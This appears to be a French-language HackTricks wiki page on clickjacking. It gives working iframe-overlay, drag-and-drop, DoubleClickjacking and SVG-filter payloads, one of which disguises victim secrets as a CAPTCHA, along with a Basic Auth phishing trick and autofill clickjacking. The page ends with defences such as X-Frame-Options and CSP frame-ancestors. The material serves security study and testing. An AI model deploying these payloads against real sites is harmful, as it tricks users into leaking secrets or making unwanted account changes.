Clickjacking
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
Qu’est-ce que le Clickjacking
Lors d’une attaque de clickjacking, un utilisateur est trompé pour cliquer sur un élément d’une page web qui est soit invisible, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences non désirées pour l’utilisateur, comme le téléchargement de malware, la redirection vers des pages web malveillantes, la fourniture de credentials ou d’informations sensibles, des transferts d’argent, ou l’achat en ligne de produits.
Astuce : préremplir les formulaires
Il est parfois possible de remplir la valeur des champs d’un formulaire en utilisant des paramètres GET lors du chargement d’une page. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer le payload de clickjacking afin que l’utilisateur appuie sur le bouton Submit.
Remplir un formulaire avec Drag&Drop
Si vous avez besoin que l’utilisateur remplisse un formulaire mais que vous ne voulez pas lui demander directement d’entrer certaines informations spécifiques (comme l’email ou un password spécifique que vous connaissez), vous pouvez simplement lui demander de Drag&Drop quelque chose qui écrira vos données contrôlées comme dans this example.
Payload basique
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload en plusieurs étapes
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Exemple:
Vous avez trouvé une self XSS dans certains détails privés du compte (détails que seul vous pouvez définir et lire). La page contenant le formulaire pour définir ces détails est vulnérable au Clickjacking et vous pouvez préremplir le formulaire avec les GET parameters.
Un attaquant pourrait préparer une attaque de Clickjacking vers cette page en préremplissant le formulaire avec le XSS payload et en trompant l’utilisateur pour soumettre le formulaire. Ainsi, lorsque le formulaire est soumis et que les valeurs sont modifiées, l’utilisateur exécutera la XSS.
DoubleClickjacking
Firstly explained in this post, cette technique demande à la victime de double-cliquer sur un bouton d’une page personnalisée placée à un emplacement précis, et utilise les différences de timing entre les événements mousedown et onclick pour charger la page victime pendant le double-clic, de sorte que la victime clique en réalité sur un bouton légitime dans la page victime.
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
Warning
Cette technique permet de tromper l’utilisateur pour qu’il clique en un seul point de la page victime en contournant toutes les protections contre le clickjacking. L’attaquant doit donc trouver des actions sensibles qui peuvent être effectuées en un seul clic, comme des invites OAuth acceptant des permissions.
Popup-based DoubleClickjacking (no iframes)
Some PoCs abandon iframes entirely and keep a background popup aligned under the cursor. The attacker page tracks mousemove and uses a small popup (window.open) that is moved with moveTo() while it is same-origin; once aligned, it is redirected back to the target origin so the next click lands on the real button. Because cross‑origin moveTo() is blocked, the popup is briefly navigated to an attacker origin for repositioning, then location/history.back() returns to the target. To surface the target at click time, the attacker can re‑open the popup with the same window name to bring it to the foreground without changing the URL.
<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>
Filtres SVG / Cross-Origin Iframe UI Redressing
Les versions récentes de Chromium/WebKit/Gecko permettent d’appliquer CSS filter:url(#id) aux iframes cross-origin.
Les pixels rasterisés de l’iframe sont exposés au graphe de filtres SVG en tant que SourceGraphic, donc des primitives telles que feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. peuvent déformer arbitrairement l’UI de la victime avant que l’utilisateur ne la voie, même si l’attaquant ne touche jamais le DOM.
Un filtre simple de style Liquid-Glass ressemble à :
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Primitives utiles :
feImagecharge des attacker bitmaps (e.g., overlays, displacement maps);feFloodconstruit des mattes de couleur constante;feOffset/feGaussianBluraffinent les zones lumineuses;feDisplacementMapréfracte/déforme le texte;feComposite operator="arithmetic"implémente des opérations mathématiques par canal arbitraires (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), suffisantes pour augmenter le contraste, le masquage et les opérations AND/OR;feTiledécoupe et réplique des pixel probes;feMorphologyagrandit/rétrécit les traits;feColorMatrixdéplace la luma dans l’alpha pour construire des masques précis.
Détourner des secrets en invites de type CAPTCHA
Si un framable endpoint rend des secrets (tokens, reset codes, API keys), l’attacker peut les déformer pour qu’ils ressemblent à un CAPTCHA et contraindre une transcription manuelle :
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
Les pixels déformés poussent l’utilisateur à « résoudre » le captcha à l’intérieur de l’<input> contrôlé par l’attaquant dont le pattern impose le vrai secret de la victime.
Recontextualisation des saisies de la victime
Les filtres peuvent supprimer chirurgicalement le texte de placeholder/validation tout en conservant les frappes de l’utilisateur. Un flux de travail :
feComposite operator="arithmetic" k2≈4amplifie la luminosité, de sorte que le texte d’aide gris sature en blanc.feTilelimite la zone de travail au rectangle du champ.feMorphology operator="erode"épaissit les glyphes sombres saisis par la victime et les stocke viaresult="thick".feFloodcrée une plaque blanche,feBlend mode="difference"avecthick, et un secondfeComposite k2≈100la transforme en un matte de luminance net.feColorMatrixdéplace cette luminance vers l’alpha, etfeComposite in="SourceGraphic" operator="in"conserve seulement les glyphes saisis par l’utilisateur.- Un autre
feBlend in2="white"plus un ajustement fin donne une zone de saisie propre, après quoi l’attaquant superpose ses propres labels HTML (par ex. « Entrez votre email ») tandis que l’iframe cachée continue d’appliquer la politique de mot de passe de l’origine de la victime.
Safari a du mal avec feTile ; le même effet peut être reproduit avec des mattes spatiales construites à partir de feFlood + feColorMatrix + feComposite pour des payloads réservés à WebKit.
Sondes de pixels, logique et machines à états
En recadrant une région de 2–4 px avec feTile et en la carrelant à 100% du viewport, l’attaquant transforme la couleur échantillonnée en une texture pleine trame qui peut être seuillée en un masque booléen :
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
Pour des couleurs arbitraires, une référence feFlood (par ex., #0B57D0) plus feBlend mode="difference" et un autre composite arithmétique (k2≈100, k4 en tolérance) produisent du blanc uniquement lorsque le pixel échantillonné correspond à la teinte cible. Alimenter ces masques dans feComposite avec des k1..k4 ajustés donne des portes logiques : AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via un blend contre blanc. Chaîner les portes crée un full adder à l’intérieur du graphe de filtres, prouvant que le pipeline est fonctionnellement complet.
Les attaquants peuvent donc lire l’état de l’UI sans JavaScript. Exemples de booléens dans un workflow modal :
- D (dialog visible) : sonder un coin assombri et tester contre le blanc.
- L (dialog loaded) : sonder les coordonnées où le bouton apparaît une fois prêt.
- C (checkbox checked) : comparer le pixel de la case à cocher avec le bleu actif
#0B57D0. - R (red success/failure banner) : utiliser
feMorphologyet des seuils de rouge à l’intérieur du rectangle de la bannière.
Chaque état détecté commande une bitmap d’overlay différente intégrée via feImage xlink:href="data:...". Masquer ces bitmaps avec D, L, C, R maintient les overlays synchronisés avec le vrai dialog et guide la victime à travers des workflows multi-étapes (réinitialisations de mot de passe, approbations, confirmations destructives) sans jamais exposer le DOM.
iframe sandboxé Basic Auth dialog (no allow-popups)
Un iframe sandboxé sans allow-popups peut toujours afficher une HTTP Basic Authentication modal contrôlée par le navigateur lorsque le chargement retourne 401 avec WWW-Authenticate. La boîte de dialogue est générée par la couche réseau/auth du navigateur (pas par les alert/prompt/confirm JS), donc les restrictions de popups dans le sandbox ne la suppriment pas. Si vous pouvez exécuter des scripts dans l’iframe (p.ex., sandbox="allow-scripts") vous pouvez la naviguer vers n’importe quel endpoint émettant un Basic Auth challenge :
<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>
Une fois la réponse reçue, le navigateur affiche une invite de credentials même si les popups sont interdits. Encadrer une origine de confiance avec cette astuce permet le UI redress/phishing : des boîtes de dialogue modales inattendues à l’intérieur d’un widget “sandboxed” peuvent perturber les utilisateurs ou pousser les password managers à proposer des identifiants enregistrés.
Extensions de navigateur : DOM-based autofill clickjacking
En plus de iframer les pages victimes, les attaquants peuvent cibler les éléments UI d’extensions de navigateur injectés dans la page. Les password managers affichent des listes d’autofill près des champs focalisés ; en focalisant un champ contrôlé par l’attaquant et en cachant/occultant le dropdown de l’extension (trucs d’opacité/sur-couche/couche supérieure), un clic contraint de l’utilisateur peut sélectionner un élément stocké et remplir des données sensibles dans des champs contrôlés par l’attaquant. Cette variante n’exige aucune exposition via iframe et fonctionne entièrement via manipulation du DOM/CSS.
Cas réel : Dashlane a révélé un problème de passkey dialog clickjacking (août 2025) où XSS on the relying-party domain permettait à un attaquant de superposer du HTML par-dessus la boîte de dialogue passkey de l’extension. Un clic sur l’élément de l’attaquant déclenchait la connexion par passkey légitime (la passkey elle‑même n’est pas exposée), transformant efficacement un UI-redress en accès au compte si le RP est déjà vulnérable à l’injection de script.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Stratégies pour atténuer le Clickjacking
Défenses côté client
Les scripts exécutés côté client peuvent effectuer des actions pour prévenir le Clickjacking :
- S’assurer que la fenêtre de l’application est la fenêtre principale (top).
- Rendre tous les frames visibles.
- Empêcher les clics sur des frames invisibles.
- Détecter et alerter les utilisateurs des tentatives potentielles de Clickjacking.
Cependant, ces scripts anti-frame peuvent être contournés :
- Paramètres de sécurité des navigateurs : Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramètres de sécurité ou d’un manque de support JavaScript.
- Attribut
sandboxde l’iframe HTML5 : Un attaquant peut neutraliser les scripts de type frame buster en définissant l’attributsandboxavec les valeursallow-formsouallow-scriptssansallow-top-navigation. Cela empêche l’iframe de vérifier si elle est la fenêtre top, par ex.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like allow-same-origin and allow-modals might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.
Défenses côté serveur
X-Frame-Options
The X-Frame-Options HTTP response header informe les navigateurs de la légitimité d’afficher une page dans un <frame> ou <iframe>, aidant à prévenir le Clickjacking :
X-Frame-Options: deny- Aucun domaine ne peut afficher le contenu dans un frame.X-Frame-Options: sameorigin- Seul le site courant peut afficher le contenu dans un frame.X-Frame-Options: allow-from https://trusted.com- Seule l’URI spécifiée peut afficher la page dans un frame.- Notez les limites : si le navigateur ne prend pas en charge cette directive, elle peut ne pas fonctionner. Certains navigateurs privilégient la directive CSP frame-ancestors.
Content Security Policy (CSP) frame-ancestors directive
La directive frame-ancestors dans CSP est la méthode recommandée pour la protection contre le Clickjacking :
frame-ancestors 'none'- Similaire àX-Frame-Options: deny.frame-ancestors 'self'- Similaire àX-Frame-Options: sameorigin.frame-ancestors trusted.com- Similaire àX-Frame-Options: allow-from.
For instance, the following CSP only allows framing from the same domain:
Content-Security-Policy: frame-ancestors 'self';
Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) est une mesure de sécurité qui aide à prévenir le Clickjacking et d’autres attaques d’injection de code en spécifiant quelles sources le navigateur doit autoriser pour charger du contenu.
frame-src Directive
- Définit les sources valides pour les frames.
- Plus spécifique que la directive
default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Cette politique autorise les frames provenant de la même origine (self) et https://trusted-website.com.
child-src Directive
- Introduit dans CSP niveau 2 pour définir des sources valides pour les web workers et les frames.
- Sert de solution de repli pour frame-src et worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Cette politique autorise les frames et workers depuis la même origine (self) et https://trusted-website.com.
Notes d’utilisation :
- Dépréciation : child-src est en cours d’abandon au profit de frame-src et worker-src.
- Comportement de repli : Si frame-src est absent, child-src est utilisé comme repli pour les frames. Si les deux sont absents, default-src est utilisé.
- Définition stricte des sources : n’incluez que des sources de confiance dans les directives pour prévenir toute exploitation.
Scripts JavaScript de frame-busting
Bien qu’ils ne soient pas complètement infaillibles, les scripts JavaScript de frame-busting peuvent être utilisés pour empêcher qu’une page web soit chargée dans un frame. Exemple:
if (top !== self) {
top.location = self.location
}
Utilisation des Anti-CSRF Tokens
- Validation du token : Utiliser des anti-CSRF tokens dans les applications web pour s’assurer que les requêtes entraînant un changement d’état sont effectuées intentionnellement par l’utilisateur et non via une page Clickjacked.
Références
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
- Iframe sandbox Basic Auth modal
- Chromestatus: Restrict sandboxed frame dialogs
- Chromium issue about sandboxed auth dialogs
- DoubleClickjacking PoC details (evil.blog)
- Dashlane passkey dialog clickjacking advisory
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


